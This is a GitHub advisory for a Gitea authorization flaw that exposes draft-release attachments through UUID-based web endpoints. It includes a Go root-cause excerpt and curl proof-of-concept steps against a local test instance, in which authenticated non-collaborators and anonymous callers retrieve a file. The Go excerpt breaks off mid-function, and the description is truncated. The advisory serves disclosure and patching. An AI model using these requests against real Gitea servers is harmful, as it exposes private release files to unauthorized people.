GitHub Advisoryadvisory · Go

GHSA-q9pg-jj6x-j9p6 Gitea: draft release attachment disclosure via missing web authorization

MEDIUM Published 2026-07-21 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-58432
Ecosystem
Go
Packages
code.gitea.io/gitea
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-200, CWE-639, CWE-732, CWE-862
Reviewed
2026-07-21

Affected packages

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Description

Summary Gitea's draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups. The `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed. Details Root cause: the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release: ```go // routers/web/repo/attachment.go:122-203, current implementation func ServeAttachment(ctx *context.Context, uuid string) { attach, err := repo_model.GetAttachmentByUUID(ctx, uuid) if err != nil { ... } // cross-repo guard (only fires when accessed via repo-scoped URL) if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff && ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID { ctx.HTTPError(http.StatusNotFound) return } unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach) if unitType == unit.TypeInvalid { if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) { ctx.HTTPError(http.StatusNotFound) return } } else { var perm access_model.Permission // ... resolves repo perm if !perm.CanRead(unitType) { // confidential.txt $ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \ -F "[email protected];filename=confidential.txt" \ http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets) $ UUID=$(echo "$ATT" | jq -r .uuid) $ ATT_ID=$(echo "$ATT" | jq -r .id) UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a browser_download_url returned: http://127.0.0.1:3000/attachments/ ``` Step 2: non-collaborator carol cannot see the draft via the API (correct): ```bash $ curl -s -o /dev/null -w '%{http_code}\n' \ -H "Authorization: token $CAROL_TOKEN" \ http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID 404 ``` Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints: ```bash (C) carol, top-level $ curl -s -H "Authorization: token $CAROL_TOKEN" \ http://127.0.0.1:3000/attachments/$UUID TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK, full content (D) carol, repo-scoped legacy $ curl -s -H "Authorization: token $CAROL_TOKEN" \ http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK (E) carol, release-scoped web $ curl -s -H "Authorization: token $CAROL_TOKEN" \ http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK (G) anonymous, top-level (NO auth header) $ curl -s http://127.0.0.1:3000/attachments/$UUID TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK, no auth needed at all (H) anonymous, repo-scoped legacy $ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK ``` Verdict matrix: | Endpoint | Carol (auth, non-collab) | Anonymous | |---|---|---| | API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) | | API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) | | Web `/attachments/{uuid}` | **200 LE…

Related

Alias · CVE (1)

  • CVE-2026-58432 Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and… vulnerability

Weakness · CWE (4)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-639 Authorization Bypass Through User-Controlled Key weakness
  • CWE-732 Incorrect Permission Assignment for Critical Resource weakness
  • CWE-862 Missing Authorization weakness

References